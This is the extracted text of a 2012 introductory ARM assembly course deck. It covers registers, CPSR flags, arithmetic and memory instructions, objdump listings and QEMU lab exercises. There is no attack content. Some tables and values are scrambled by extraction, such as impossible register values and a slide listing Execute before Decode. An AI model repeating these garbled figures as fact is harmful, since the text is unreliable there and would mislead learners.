Introduction to ARM (Acorn/Advanced Risc Machines)

Gananand Kini

June 18 2012
Acknowledgements

• Prof. Rajeev Gandhi, Dept. ECE, Carnegie Mellon University
• Prof. Dave O’Hallaron, School of CS, Carnegie Mellon University
• Xeno Kovah
• Dana Hutchinson
• Dave Keppler
• Jim Irving
• Dave Weinstein
• Geary Sutterfield
• ...

Co-requisites

• Intro x86
• Intermediate x86 – would be very helpful
Book(s)

• “ARM System Developer's Guide: Designing and Optimizing System Software” by Andrew N. Sloss, Dominic Symes, and Chris Wright
Schedule

• Day 1 Part 1
  – Intro to ARM basics
  – Lab 1 (Fibonacci Lab)

• Day 1 Part 2
  – More of ARMs features
  – Lab 2 (BOMB Lab)

• Day 2 Part 1
  – ARM hardware features
  – Lab 3 (Interrupts lab)

• Day 2 Part 1.5
  – GCC optimization
  – Lab 4 (Control Flow Hijack Lab)

• Day 2 Part 2
  – Inline and Mixed assembly
  – Atomic instructions
  – Lab 5 (Atomic Lab)
DAY 1 PART 1
Introduction

• Started as a hobby in microcontrollers in high school with robotics
• Background in software development and electrical engineering
• In school, took many courses related to microcontrollers and computer architecture
• Small amount of experience with assembly
AN x64 processor is screaming along at billions of cycles per second to run the XNU kernel, which is frantically working through all the Posix-specified abstraction to create the Darwin system underlying OS X, which in turn is straining itself to run Firefox and its Gecko renderer, which creates a Flash object which renders dozens of video frames every second.

Because I wanted to see a cat jump into a box and fall over.

I am a God.

Source: http://xkcd.com/676/
Short Review

- short ByteMyShorts[2] = {0x3210, 0x7654} in little endian?
  - Answer: 0x10325476
- int NibbleMeInts = 0x4578 in binary, in octal? (no endianness involved)
  - Answers: 0b0100 0101 0111 1000
  - 0b0 100 010 101 111 000
  - 0o42570 (Take 3 bits of binary and represent in decimal)
- Two’s complement of 0x0113
  - Answer: 0xFEED
- What does the following code do? (Part of output from gcc at -O3)
  ```
  movl (%rsi), %edx
  movl (%rdi), %eax
  xorl %edx, %eax
  xorl %eax, %edx
  xorl %edx, %eax
  movl %edx, (%rsi)
  movl %eax, (%rdi)
  ret
  ```
- How can we optimize above for code size?
- Could this macro be used for atomic operations?
We’ll learn how and why

This turns into...

```c
int main(void) {
    printf("Hello world!\n");
    return 0;
}
```
And then into the following

Generated using objdump
Introduction to ARM

- First called Acorn RISC Machine, then Advanced RISC Machine
- Based on RISC architecture work done at UCal Berkley and Stanford
- ARM only sells licenses for its core architecture design
- Optimized for low power & performance
- VersatileExpress board with Cortex-A9 (ARMv7) core will be “emulated” using Linaro builds.
- This also means some things may not work. You’ve been warned.
# ARM architecture versions

<table>
<thead>
<tr>
<th>Architecture</th>
<th>Family</th>
</tr>
</thead>
<tbody>
<tr>
<td>ARMv1</td>
<td>ARM1</td>
</tr>
<tr>
<td>ARMv2</td>
<td>ARM2, ARM3</td>
</tr>
<tr>
<td>ARMv3</td>
<td>ARM6, ARM7</td>
</tr>
<tr>
<td>ARMv4</td>
<td>StrongARM, ARM7TDMI, ARM9TDMI</td>
</tr>
<tr>
<td>ARMv5</td>
<td>ARM7EJ, ARM9E, ARM10E, Xscale</td>
</tr>
<tr>
<td>ARMv6</td>
<td>ARM11, ARM Cortex-M</td>
</tr>
<tr>
<td>ARMv7</td>
<td>ARM Cortex-A, ARM Cortex-M, ARM Cortex-R</td>
</tr>
<tr>
<td>ARMv8</td>
<td>Not available yet. Will support 64-bit addressing + data</td>
</tr>
</tbody>
</table>

ARM Extra Features

• Similar to RISC architecture (not purely RISC)
  – Variable cycle instructions (LD/STR multiple)
  – Inline barrel shifter
  – 16-bit (Thumb) and 32-bit instruction sets combined called Thumb2
  – Conditional execution (reduces number of branches)
  – Auto-increment/decrement addressing modes
  – Changed to a Modified Harvard architecture since ARM9 (ARMv5)
  – Extensions (not covered in this course):
    • TrustZone
    • VFP, NEON & SIMD (DSP & Multimedia processing)
Registers

• Total of 37 registers available (including banked registers):
  – 30 general purpose registers
  – 1 PC (program-counter)
  – 1 CPSR (Current Program Status Register)
  – 5 SPSR (Saved Program Status Register)
    • The saved CPSR for each of the five exception modes

• Several exception modes

• For now we will refer to “User” mode
Registers

<table>
<thead>
<tr>
<th>Register</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>r0</td>
<td></td>
</tr>
<tr>
<td>r1</td>
<td></td>
</tr>
<tr>
<td>r2</td>
<td></td>
</tr>
<tr>
<td>r3</td>
<td></td>
</tr>
<tr>
<td>r4</td>
<td></td>
</tr>
<tr>
<td>r5</td>
<td></td>
</tr>
<tr>
<td>r6</td>
<td></td>
</tr>
<tr>
<td>r7</td>
<td></td>
</tr>
<tr>
<td>r8</td>
<td></td>
</tr>
<tr>
<td>r9</td>
<td></td>
</tr>
<tr>
<td>R10 (SL)</td>
<td></td>
</tr>
<tr>
<td>r11 (FP)</td>
<td></td>
</tr>
<tr>
<td>r12 (IP)</td>
<td></td>
</tr>
<tr>
<td>r13 (SP)</td>
<td></td>
</tr>
<tr>
<td>r14 (LR)</td>
<td></td>
</tr>
<tr>
<td>r15 (PC)</td>
<td></td>
</tr>
<tr>
<td>CPSR</td>
<td></td>
</tr>
</tbody>
</table>

Stack Pointer (SP) – The address of the top element of stack.

Link Register (LR) – Register used to save the PC when entering a subroutine.

Program Counter (PC) – The address of next instruction. (ARM mode points to current+8 and Thumb mode points to current+4)

Current Program Status Register (CPSR) – Results of most recent operation including Flags, Interrupts (Enable/Disable) and Modes

R12 or IP is not instruction pointer, it is the intra procedural call scratch register
Instruction cycle

1. Start
2. Fetch – fetch next instruction from memory
3. Decode – decode fetched instruction
4. Execute – execute fetched instruction
5. End
ARM vs. x86

- Endianness (Bi-Endian)
  - Instructions are little endian (except on the –R profile for ARMv7 where it is implementation defined)
  - Data endianness can be mixed (depends on the E bit in CPSR)
- Fixed length instructions
  - Instruction operand order is generally: OP DEST, SRC (AT&T syntax)
- Short instruction execution times
- Register differences (CPSR, SPSR...)
  - Has a few extra registers
  - Operations only on registers not memory (Load/Store architecture)
- Pipelining & Interrupts
- Exceptions
- Processor Modes
- Code & Compiler optimizations due to the above differences
ARM Data sizes and instructions

• ARMs mostly use 16-bit (Thumb) and 32-bit instruction sets

• 32-bit architecture
  – Byte = 8 bits (Nibble is 4 bits) [byte or char in x86]
  – Half word = 16 bits (two bytes) [word or short in MS x86]
  – Word = 32 bits (four bytes) [Doubleword or int/long in MS x86]
  – Double Word = 64 bits (eight bytes) [Quadword or double/long long in MS x86]

Source:
The Life of Binaries

• Starts with c or cpp source code written by us
• A compiler takes the source code and generates assembly instructions
• An assembler takes the assembly instructions and generates objects or .o files with machine code
• The linker takes objects and arranges them for execution and generates an executable. (A dynamic linker will insert object code during runtime in memory)
• A loader prepares the binary code and loads it into memory for OS to run
The tools we will use

- Compiler – gcc for ARM
- Assembler – gcc or as (gas) for ARM
- Linker – gcc for ARM or gold
- Loader – gcc for ARM and ld-linux for ARM
At Power on...

• ROM has code that has been burned in by SoC vendor (similar to BIOS but not the same)

• Use of memory mapped IO
  – different memory components (can be a mix of ROM, SRAM, SDRAM etc.)

• Contains
  – Code for memory controller setup
  – Hardware and peripheral init (such as clock and timer)
  – A boot loader such as Fastboot, U-boot, X-Loader etc.
U-Boot process

U-boot exercise on a Versatile PB

• Run the following in ~/projects/uboot-exercise:

  qemu-system-arm -M versatilepb -m 128M -kernel flash.bin -serial stdio

• flash.bin contains:
  – U-boot binary (at 0x10000 in image)
  – a root filesystem (at 0x210000 in image)
  – the linux kernel (at 0x410000 in image)

• U-boot has bootm <address> to boot code

U-boot exercise

• U-boot was patched in earlier example b/c it did not support ramdisk usage with bootm command. Good ‘nough for simulation.

• U-boot uses bootm <kernel address> <rootfs image address> to boot

• U-boot relocates itself to specific address (0x1000000) before loading kernel.

PBX w/ Cortex-A9 Memory Map

Source:
Cortex M3 Memory Map

ARM Architecture

Fig. 1 Cortex-A9 microarchitecture structure and the single core interfaces.
Instruction cycle

Start

Fetch – fetch next instruction from memory

Execute – execute fetched instruction

Decode – decode fetched instruction

End
Behavior of the PC/R15

• PC – Program counter (like the x86 EIP) has the address of next instruction to execute
• When executing an ARM instruction, PC reads as the address of current instruction + 8
• When executing a Thumb instruction, PC reads as the address of current instruction + 4
• When PC is written to, it causes a branch to the written address
• Thumb instructions cannot access/modify PC directly
That means...

00008380 <add>:

When executing instruction @ x8382

PC=0x00008386

8380: b480 push {r7}
8382: b083 sub sp, #12
8384: af00 add r7, sp, #0
8386: 6078 str r0, [r7, #4]
8388: 6039 str r1, [r7, #0]
838a: 687a ldr r2, [r7, #4]
838c: 683b ldr r3, [r7, #0]
838e: 18d3 adds r3, r2, r3
8390: 4618 mov r0, r3
8392: f107 070c add.w r7, r7, #12
8396: 46bd mov sp, r7
8398: bc80 pop {r7}
839a: 4770 bx lr

When executing instruction @ x8382

PC=0x00008386

00008380 <add>:
ARM Assembly and some conventions

• Now uses Unified Assembly Language (combines ARM & Thumb instruction sets and code allowed to have intermixed instructions)

• General form (there are exceptions to this):
  \[\text{<Instruction>_<Conditional>\{S bit\} \ <destination> \ <source> \ <Shift/operand/immediate value>}\]

• Load/Store architecture means instructions only operate on registers, NOT memory

• Most of the instructions expect destination first followed by source, but not all…
ARM Assembly and some conventions contd...

• <dst> will be destination register
• <src> will be source register
• <reg> will be any specified register
• <imm> will be immediate value
• <reg|cxfz..> whatever follows ‘|’ means with the specified flag enabled
Conditional Flags

- Indicate information about the result of an operation
- N – Negative result received from ALU (Bit 31 of the result if it is two’s complement signed integer)
- Z – Zero flag (1 if result is zero)
- C – Carry generated by ALU
- V – Overflow generated by ALU (1 means overflow)
- Q – Overflow or saturation generated by ALU (Sticky flag; set until CPSR is overwritten manually)
- Flags are in a special register called CPSR (Current Program Status Register)
- Flags are not updated unless used with a suffix of S on instruction
Current/Application Program Status Register (CPSR/APSR)

- **N** – Negative flag
- **Z** – Zero flag
- **C** – Carry flag
- **V** – Overflow flag
- **Q** – Sticky overflow
- **I** – 1: Disable IRQ mode
- **F** – 1: Disable FIQ mode
- **T** – 0: ARM state
  1: Thumb state
- **MODE** – Mode bits
Push and Pop operations

- **PUSH <reg list>** - decrements the SP and stores the value in <reg list> at that location
- **POP <reg list>** - Stores the value at SP into <reg list> and increments the SP
- Both operations only operate on SP
PUSH operation

INSTRUCTION: push {r7, lr}

<table>
<thead>
<tr>
<th></th>
<th>0x7EFFF950</th>
<th>0x7EFFF954</th>
<th>0x7EFFF958</th>
<th>0x7EFFF95C</th>
<th>0x00008010</th>
</tr>
</thead>
<tbody>
<tr>
<td>SP</td>
<td></td>
<td></td>
<td>0xA0B0C0D</td>
<td></td>
<td></td>
</tr>
<tr>
<td>R7</td>
<td></td>
<td>0xA0B0C0D</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>LR</td>
<td></td>
<td></td>
<td></td>
<td>0x00008010</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th></th>
<th>0x7EFFF958</th>
<th>0x7EFFF954</th>
<th>0x7EFFF950</th>
<th>0xA0B0C0D</th>
</tr>
</thead>
<tbody>
<tr>
<td>SP</td>
<td></td>
<td></td>
<td>0x7EFFF958</td>
<td></td>
</tr>
<tr>
<td>R7</td>
<td>0xA0B0C0D</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>LR</td>
<td></td>
<td>0x00008010</td>
<td></td>
<td>0xA0B0C0D</td>
</tr>
</tbody>
</table>
Arithmetic operations

• **ADD:** add
  – \(<\text{dst}> = <\text{src}> + <\text{imm}>\) or \(<\text{src}> + <\text{reg}>\)

• **ADC:** add with carry
  – \(<\text{dst}> = <\text{src}|c> + <\text{imm}>\) or \(<\text{src}|c> + <\text{reg}>\)

• **SUB:** subtract
  – \(<\text{dst}> = <\text{src}> - <\text{imm}>\) or \(<\text{src}> - <\text{reg}>\)

• **SBC:** subtract with carry
  – \(<\text{dst}> = <\text{src}|c> - <\text{imm}>\) or \(<\text{src}|c> - <\text{reg}>\)

• **RSB:** reverse subtract
  – \(<\text{dst}> = <\text{imm}> - <\text{src}>\) or \(<\text{reg}> - <\text{src}>\)

• **RSC:** reverse subtract with carry
  – \(<\text{dst}> = <\text{imm}|!c> - <\text{src}>\) or \(<\text{reg}|!c> - <\text{src}>\)
Closer look at Example 1.c

```c
int main(void) {
    int a, b, c;
    a = 10;
    b = 12;
    c = add(a, b);
    return 0;
}
```

```c
int add(int a, int b) {
    return a + b;
}
```

The highlighted instruction is a special form of SUB. In this case means:
SP = SP - 16

Thumb instructions are intermixed with ARM instructions.
# SBC & RSB operations

**INSTRUCTION:**
- `sbc r0, r0, r1`
- `rsb r0, r0, r1`

**MEANS:**
- `r0 = r0 − r1 − NOT(C)`
- `r0 = r1 − r0 (No flags updated)`

<table>
<thead>
<tr>
<th>R0</th>
<th>Before Operation</th>
<th>After Operation</th>
</tr>
</thead>
<tbody>
<tr>
<td>0xF5F4F3FD</td>
<td>0x0000000A</td>
<td>0x0A0B0C03</td>
</tr>
<tr>
<td>0x0A0B0C0D</td>
<td>0x0A0B0C0D</td>
<td>0x20000010</td>
</tr>
<tr>
<td>0x20000010</td>
<td>0x20000010</td>
<td>0x20000010</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>R1</th>
<th>Before Operation</th>
<th>After Operation</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0A0B0C0D</td>
<td>0x0A0B0C0D</td>
<td>0x20000010</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>CPSR</th>
<th>Before Operation</th>
<th>After Operation</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x20000010</td>
<td>0x20000010</td>
<td>0x20000010</td>
</tr>
</tbody>
</table>
Arithmetic operations part 2

• MUL: \( \text{<dst>} = \text{<reg1>} * \text{<reg2>} \)
• MLA: \( \text{<dst>} = (\text{<reg1>} * \text{<reg2>}) + \text{<reg3>} \)
  
  \( \text{MLA}\{S\}\{c\} \text{<Rd>} , \text{<Rn>} , \text{<Rm>} , \text{<Ra>} \) where \( \text{<Rd>} \) is destination register, \( \text{<Rn>} \) & \( \text{<Rm>} \) are the first and second operands respectively and \( \text{<Ra>} \) is the addend register
• MLS: \( \text{<dst>} = \text{<reg3>} - (\text{<reg1>} * \text{<reg2>}) \)

• Multiply operations only store least significant 32 bits of result into destination
• Result is not dependent on whether the source register values are signed or unsigned values
int main(void) {
    int a, b, c, d;
    a=2;
    b=3;
    c=4;
    d = multiply(a,b);
    printf("a * b is %d\n", d);
    d = multiplyadd(a,b,c);
    printf("a * b + c is %d\n", d);
    return 0;
}

int multiply(int a, int b) {
    return (a*b);
}

int multiplyadd(int a, int b, int c) {
    return ((a*b)+c);
}
MLA & MLS operations

**INSTRUCTION:**
- **mla r0, r0, r1, r2**
- **mls r0, r0, r1, r2**

**MEANS:**
- **mla r0, r0, r1, r2**
  \[ r0 = r0 \times r1 + r2 \]
- **mls r0, r0, r1, r2**
  \[ r0 = r2 - (r0 \times r1) \] (No flags updated)

<table>
<thead>
<tr>
<th></th>
<th>Before Operation</th>
<th>After Operation</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>R0</strong></td>
<td>0x00000010</td>
<td>0xFFFFF77</td>
</tr>
<tr>
<td><strong>R1</strong></td>
<td>0x0000000E</td>
<td>0x0000000E</td>
</tr>
<tr>
<td><strong>R2</strong></td>
<td>0x00000003</td>
<td>0x00000003</td>
</tr>
<tr>
<td><strong>CPSR</strong></td>
<td>0x20000010</td>
<td>0x20000010</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th></th>
<th>Before Operation</th>
<th>After Operation</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>R0</strong></td>
<td>0x0000000A</td>
<td>0x0000000A</td>
</tr>
<tr>
<td><strong>R1</strong></td>
<td>0x0000000E</td>
<td>0x0000000E</td>
</tr>
<tr>
<td><strong>R2</strong></td>
<td>0x00000003</td>
<td>0x00000003</td>
</tr>
<tr>
<td><strong>CPSR</strong></td>
<td>0x20000010</td>
<td>0x20000010</td>
</tr>
</tbody>
</table>
Arithmetic operations part 3

PLEASE NOTE: These instructions are only available on Cortex-R profile

- SDIV – Signed divide
- UDIV – Unsigned divide
- On the Cortex-A profile there is no divide operation
Example x.s

000083e4 <divide>:
    83e4: e710f110    sdiv    r0, r0, r1
    83e8: e12fff1e    bx
    83ec: e1a00000    nop
                        ; (mov r0, r0)

000083f0 <unsigneddivide>:
    83f0: e730f110    udiv    r0, r0, r1
    83f4: e12fff1e    bx
    83f8: e1a00000    nop
                        ; (mov r0, r0)
Using the emulator

- cd ~/projects/linaro
- ./startsim
- Password is passw0rd

- To copy <localfile> to </path/to/file> on emulator:
  - scp –P 2200 <localfile> root@localhost:</path/to/file>

- To copy </path/to/file> from emulator to <localfile>:
  - scp –P 2200 root@localhost:</path/to/file> <localfile>
objdump introduction

• dumps the objects in an ELF (Executable Linkable Format) file.
• objects that are in a form before they are linked
• -g gdb option for gcc adds debug symbols that objdump can read
• -d option for objdump used for disassembling (get assembly code from the ELF format)
objdump usage

helloworld.c

```c
int main(void) {
    printf("Hello world!\n");
    return 0;
}
```

```bash
objdump -d helloworld | less
```

```
Contents of section .rodata:
83ec 01000280 40656c6c 6f28575f 726c6421 ...Hello World!
83fc 00000000

00000310 <main>: 
   b568  push {r3, lr}
   f2c0 0000  movt r0, #0
   f7ef efe0  blx 82dc < init+0x20>
   2000  movs r0, #0
   bd88  pop {r3, pc}
   bf00  nop

00000324 < _start>:
   f04f 0b00  mov.w fp, #0
   f04f 0e00  mov.w lr, #0
   f85d 1b04  ldr.w r1, [sp], #4
   466a  mov  r2, sp
   f84d 2d04  str.w r2, [sp, #4]!
   f84d 6d04  str.w r0, [sp, #4]!
   f8df c014  ldr.w ip, [pc, #20] ; 8350 < _start+0x2c>
   f84d cd04  str.w ip, [sp, #4]!
   4864  ldr  r0, [pc, #16] ; (8354 < _start+0x30>)
   4b04  ldr  r3, [pc, #16] ; (8358 < _start+0x34>)
   f7ff efd0  blx 82e8 < init+0x2c>
   f7ff efde  blx 8304 < init+0x48>
   0000  .short 0x0000
   0000  .word 0x00000000
   0000  .word 0x00000000
   0000  .word 0x00000000
   0000  .word 0x00000000
```
Try dividing now on the emulator

• Goto ~/projects/examples
• Copy example1 to divexample
• Replace the add () function in example1.c with divide and return (a/b)
• Run make clobber && make
• Disassemble…
  – objdump –d example1 | less
• What do you see?
NOP Instruction

• A most interesting instruction considering it does nothing
• ARM Reference Manual mentions that this instruction does not relate to code execution time (It can increase, decrease or leave the execution time unchanged). Why?
• Primary purpose is for instruction alignment. (ARM and Thumb instructions together... What could go wrong?)
• Can also be used as part of vector tables
• In some microcontrollers, it is also used for synchronization of pipeline.
Barrel Shifter

- Hardware optimization inline with the ALU allows for a multiplier (power of 2) within same instruction cycle
- Allows for shifting a register value by either an unsigned integer (MAXVAL of 32) or a value specified in bottom byte of another register.
- ASR – Arithmetic Shift Right (MSB copied at left, last bit off right is Carry)
- LSL – Logical Shift Left (0s at right, last bit off left is Carry)
  - MOV R7, R5, LSL #2 means (R7=R5*4) or (R5<<2)
  - ADD R0, R1, R1, LSL #1 means R0=R1+(R1<<1)
- LSR – Logical Shift Right (0s at left, last bit off right is Carry)
- ROR – Rotate Right (bits popped off the right end, is directly pushed into left, last bit off right is Carry)
- RRX – Rotate Right with Extend (bits popped off the right end first go into Carry, Carry is shifted in to left, last bit off right is Carry)
Hints on how to RTFM

• {S} – updates flags in the CPSR
• {<c>} – allows mnemonic of conditional to be added
• {<q>} – instruction suffix with either:
  – .N Narrow, assembler must use 16-bit encoding for the instruction
  – .W Wide, assembler must use 32-bit encoding for the instruction
• Do not use the .N or .W in your assembly code.
• As per manual, it will throw errors. GNU Assembler decides on encoding depending on options selected.
int main(void)
{
    int a, b, d;
    a = 6;
    b = 8;
    d = multiplybytwo(a) * multiplybytwo(b);
    printf("2a * 2b is %d\n", d);

    return 0;
}

int multiplybytwo(int a)
{
    return a*2;
}
Example 3.2.c

```c
int main(void)
{
    int a, b, d;
    a = -6;
    b = 8;
    d = dividebytwo(a) / dividebytwo(b);
    printf("a/2 / b/2 is %d\n", d);
    return 0;
}

int dividebytwo(int a)
{
    return a/2;
}
```

```assembly
00008318 <main>:
  8318:   b508   push   {r3, lr}
  831a:   2001   movs   r0, #1
  831c:   2200   movs   r2, #0
  831e:   f248 4104 movw   r1, #33796 ; 0x8404
  8322:   f2c0 0100 movt   r1, #0
  8326:   f7ff efec blx 8300 <_init+0x3c>
  832a:   2000   movs   r0, #0
  832c:   bd08   pop   {r3, pc}
  832e:   bf00   nop

000083a8 <dividebytwo>:
  83a8:   eb00 70d0 add.w   r0, r0, r0, lsr #31
  83ac:   1040   asrs   r0, r0, #1
  83ae:   4770   bx   lr
```
### Example 3.2.c

#### add.w r0, r0, r0, lsr #31

<table>
<thead>
<tr>
<th>Register</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>R0</td>
<td>0xFFFFFFF9</td>
</tr>
<tr>
<td>R1</td>
<td>0x0000000E</td>
</tr>
<tr>
<td>R2</td>
<td>0x00000003</td>
</tr>
<tr>
<td>CPSR</td>
<td>0xA0000010</td>
</tr>
</tbody>
</table>

#### asrs r0, r0, #1

<table>
<thead>
<tr>
<th>Register</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>R0</td>
<td>0xFFFFFFF8</td>
</tr>
<tr>
<td>R1</td>
<td>0x0000000E</td>
</tr>
<tr>
<td>R2</td>
<td>0x00000003</td>
</tr>
<tr>
<td>CPSR</td>
<td>0xA0000010</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Register</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>R0</td>
<td>0x00001000</td>
</tr>
<tr>
<td>R1</td>
<td>0x0000000E</td>
</tr>
<tr>
<td>R2</td>
<td>0x00000003</td>
</tr>
<tr>
<td>CPSR</td>
<td>0x20000010</td>
</tr>
</tbody>
</table>
RRX & LSL operation

INSTRUCTION:  
\[ \text{mvn } r0, r0, \text{ RRX} \]

MEANS:  
\[ r0 = \sim r0 >> 1 \]

add \( r0, r0, r1, \text{ LSL } #4 \)

\[ r0 = r0 + (r1 \times 16) \] (No flags updated)
More Data operations

• MOV – move value from one register to another
  Combine with postfixes to modify:
  – MOVT: Moves only top half word into destination without changing lower half word
  – MOVS PC,<reg>: Moves value into destination register and updates CPSR flags

• MVN – Bitwise NOT of value into destination register

• Cannot be used on memory locations
Example 4.c

```c
int main(void)
{
    int a, b, d;
    a = 221412523;
    b = 3;
    d = multiply(a, b);
    printf("a * b is %d\n", d);
    return 0;
}

int multiply(int a, int b)
{
    return (a * b);
}

221412523 * 3 = 664237569 or 0x27977601
```

```
00008318 <main>:
  8318:  b508  push {r3, lr}
  831a:  2001  movs r0, #1
  831c:  f248 4108  movw r1, #33800 ; 0x8408
  8320:  f247 6201  movw r2, #30209 ; 0x7601
  8324:  f2c0 0100  movt r1, #0
  8328:  f2c2 7297  movt r2, #10135 ; 0x2797
  832c:  f7ff efe8  blx 8300 <_init+0x3c>
  8330:  2000  movs r0, #0
  8332:  bd08  pop {r3, pc}

000083ac <multiply>:
  83ac:  fb01 f000  mul.w r0, r1, r0
  83b0:  4770  bx lr
  83b2:  bf00  nop
```
Example 6.c

int main(void)
{
    int a, b;
    a = 6;
    ...
    // Important: Subtraction taking place
    b = a - 182947;
    ...
    printf("a's negatory is %d\n", b);
}

return 0;

Before the subtraction operation

CPSR = 0x60000010

After the subtraction operation

CPSR = 0x80000010
Reversing byte order

- **REV** – reverses byte order (\& endianness) of value in register and stores into destination register
- **REV16** – reverses byte order of each 16-bit halfword in register and stores into destination register
- **REVSH** – reverses byte order of lower 16-bit halfword in register, sign extends to 32 bits and store into destination register
REV & REV16 operations

INSTRUCTION:  rev r0, r0  
              rev16 r0, r0

<table>
<thead>
<tr>
<th>R0</th>
<th>0xFFDECDAB</th>
<th>0xCDABFFDE</th>
</tr>
</thead>
<tbody>
<tr>
<td>CPSR</td>
<td>0x20000010</td>
<td>0x20000010</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>R0</th>
<th>0xABCDEDEFF</th>
<th>0xABCDEDEFF</th>
</tr>
</thead>
<tbody>
<tr>
<td>CPSR</td>
<td>0x20000010</td>
<td>0x20000010</td>
</tr>
</tbody>
</table>
Current Program Status Register

- N – Negative flag
- Z – Zero flag
- C – Carry flag
- V – Overflow flag
- Q – Sticky overflow
- I – 1: Disable IRQ mode
- F – 1: Disable FIQ mode
- T – 0: ARM state
  1: Thumb state
- _MODE – Mode bits
Logical & Comparison operations

- **AND** – Bitwise AND
- **BIC** – Bitwise bit clear
- **EOR** – Bitwise Exclusive OR
- **ORR** – Bitwise OR
- **ORN** – Bitwise OR NOT
- **CMP** – Compare. SUB but with **NO destination**. (Same as SUBS)
- **CMN** – Compare Negative. ADD but with **NO destination**. (Same as ADDS)
- **TEQ** – Test Equivalence. Like EOR but with **NO destination**.
- **TST** – Test. Like AND but with **NO destination**.
int main(void)
{
    int a, b, d;
    a = 221412523;
    b = 374719560;

    d = and(a, b);

    printf("a & b is %d\n", d);

    return 0;
}

int and(int a, int b)
{
    return (a & b);
}
Example 7.2.c

```c
int main(void)
{
    int a, b, d;
    a = 221412523;
    b = 374719560;

    d = orr(a, b);

    printf("a | b is %d\n", d);

    return 0;
}

int orr(int a, int b)
{
    return (a|b);
}
```

000083d0 <orr>:

```
  83d0: 4308 orrs r0, r1
  83d2: 4770 bx lr
```
Example 7.3.c

```c
int main(void)
{
    int a, b, d;
    a = 8;
    b = 9;

    if((a ^ b) > 0)
        d = add(a, b);
    else
        d = subtract(b, a);

    printf("a & b is %d\n", d);

    return 0;
}

int add(int a, int b)
{
    return (a+b);
}

int subtract(int a, int b)
{
    return (a-b);
}
```

```assembly
0000838c <main>:
<prolog> ...
00008392: f04f 0308 mov.w r3, #8
00008396: 60bb  str r3, [r7, #8]
00008398: f04f 0309 mov.w r3, #9
0000839c: 607b  str r3, [r7, #4]
0000839e: f3ef 8400 mrs r4, CPSR
000083a2: 603c  str r4, [r7, #0]
000083a4: 68ba  ldr r2, [r7, #8]
000083a6: 687b  ldr r3, [r7, #4]
000083a8: 4053  eors r3, r2
000083aa: 2b00  cmp r3, #0
000083ac: dd05  ble.n 83ba <main+0x2e>
000083ae: 68b8  ldr r0, [r7, #8]
000083b0: 6879  ldr r1, [r7, #4]
000083b2: f000 f829  bl 8408 <add>
000083b6: 60f8  str r0, [r7, #12]
000083b8: e004  b.n 83c4 <main+0x38>
000083ba: 6878  ldr r0, [r7, #4]
000083bc: 68b9  ldr r1, [r7, #8]
000083be: f000 f831  bl 8424 <subtract>
000083c2: 60f8  str r0, [r7, #12]
<contd>...
```
BIC

• BIC clears the bits specified in a mask
• For example,
  • R0 = 0x57 or 0b0101 0111
  • R1 = 0x24 or 0b0010 0100
  • BIC <R2> <R0> <R1>
    — Means R2 = R0 & ~(R1) = 0b0101 0011 or 0x53
• Mask can also be a shifted value (using Shift operations)
Memory operations Part I

• LDR – Load data from memory into registers
• STR – Store data from registers to memory
• Caveat: LDR/STR can load/store data on a boundary alignment that is the same as the data type size being loaded/stored.
  – LDR can only load 32-bit words on a memory address that is multiples of 4 bytes.
Memory Operations Part I contd...

• LDR r0, [r1] loads r0 with contents of memory address pointed to by r1
• STR r0, [r1] stores the contents of r0 to the memory address pointed to by r1.
  – Warning: This can be confusing since destination is actually specified in the second argument
• Also LDR r0, [r1, #4] means
  – r0 = [r1 + 4] and r1 value remains unchanged
• Similarly STR r0, [r1, #4] means
  – [r1+4] = r0 and r1 value remains unchanged
• The above two instructions addressing mode is called pre-indexed addressing
Example 8.c

```c
int main(void)
{
    int a, b;
    int *x;
    a = 8;
    b = 9;

    x = &a;
    b = *x + 2;
    printf("The address of a is 0x%x\n", x);
    printf("The value of b is now %d\n", b);
    return 0;
}
```

0000838c <main>:

```
838c:   b580   push   {r7, lr}
838e:   b084   sub    sp, #16
8390:   af00   add    r7, sp, #0
8392:   f04f 0308 mov.w  r3, #8
8396:   607b   str    r3, [r7, #4]
8398:   f04f 0309 mov.w  r3, #9
839c:   60fb   str    r3, [r7, #12]
839e:   f107 0304 add.w r3, r7, #4
83a2:   60bb   str    r3, [r7, #8]
83a4:   68bb   ldr    r3, [r7, #8]
83a6:   68b1   ldr    r3, [r3, #0]
83a8:   f103 0302 add.w r3, r3, #2
83ac:   60fb   str    r3, [r7, #12]
83ae:   f248 4330 movw  r3, #33840 ; 0x8430
83b2:   f2c0 0300 movt  r3, #0
83b6:   4618   mov    r0, r3
83b8:   68b9   ldr    r1, [r7, #8]
83ba:   f7ff ef92 blx  82e0 <_init+0x20>
83be:   f248 434c movw  r3, #33868 ; 0x844c
83c2:   f2c0 0300 movt  r3, #0
83c6:   4618   mov    r0, r3
83c8:   68f9   ldr    r1, [r7, #12]
83ca:   f7ff ef8a blx  82e0 <_init+0x20>
83ce:   f04f 0300 mov.w  r3, #0
83d2:   4618   mov    r0, r3
83d4:   f107 0710 add.w r7, r7, #16
83d8:   46bd   mov    sp, r7
83da:   bd80   pop    {r7, pc}
```
Memory operations Part I contd...

• R7 in the previous example is known as **base address register**, where the base address register can be any one of R0-R12, SP, or LR

• We will cover consecutive multiple loads in one instruction later
## Control Flow operations (Table A4-1)

<table>
<thead>
<tr>
<th>Instruction</th>
<th>Description</th>
<th>Thumb mode range</th>
<th>ARM mode range</th>
</tr>
</thead>
<tbody>
<tr>
<td>B &lt;label&gt;</td>
<td>Branch to target address</td>
<td>+/- 16 MB</td>
<td>+/- 32 MB</td>
</tr>
</tbody>
</table>
| BL, BLX <imm> | Call a subroutine  
              | Call a subroutine, change instruction set       | +/- 16 MB        | +/- 32 MB     |
